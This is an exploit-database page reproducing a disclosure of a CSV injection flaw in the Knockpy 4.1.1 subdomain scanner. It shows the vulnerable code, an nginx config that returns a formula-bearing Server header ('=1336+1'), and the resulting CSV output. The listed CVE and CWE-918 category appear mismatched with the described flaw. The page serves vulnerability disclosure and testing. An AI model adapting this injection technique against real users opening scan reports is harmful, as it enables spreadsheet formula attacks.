Knockpy 4.1.1 CSV Injection

CVE Category Price Severity
CVE-2020-7754 CWE-918 $500 High
Author Risk Exploitation Type Date
CyberSec Ltd. High Remote 2021-01-04
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Knockpy 4.1.1 CSV Injection
# Exploit Title: Knockpy 4.1.1 - CSV Injection
# Author: Dolev Farhi
# Date: 2020-12-29
# Vendor Homepage:
# Version : 4.1.1
# Tested on: Debian 9.13

Knockpy, as part of its subdomain brute forcing flow of a remote domain, issues a HEAD request to the server to fetch details such as headers, status code, etc.
The data then gets reflected when issuing the -c flag to store as a CSV file with the Server HTTP Response Header unfiltered.

Vulnerable code segment(s)


# row = ip+'\t'+str(data['status'])+'\t'+'host'+'\t'+str(data['hostname'])+get_tab(data['hostname'])+str(server_type)
# subdomain_csv_list.append(ip+','+str(data['status'])+','+'host'+','+str(data['hostname'])+','+str(server_type))

# modules/

# if fields:
#  csv_report += 'ip,status,type,domain_name,server\n'
# for item in report:
#  csv_report += item + '\n'
# report = csv_report

1. Example malicious Nginx config to return CSV formula headers:

http {
  server_tokens off;
  more_set_headers 'Server: =1336+1';

2. Tester runs Knoockpy
root@host:~/# python knockpy/ -c test.local

+ checking for virustotal subdomains: SKIP
VirusTotal API_KEY not found
+ checking for wildcard: NO
+ checking for zonetransfer: NO
+ resolving target: YES
- scanning for subdomain...

Ip AddressStatusTypeDomain NameServer
-------------------------------------       200     host    appserver.test.local=1336+1

CSV result

root@host:~/# cat test_local.csv,200,host,appserver.test.local,=1336+1,200,host,www.test.local,=1336+1

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum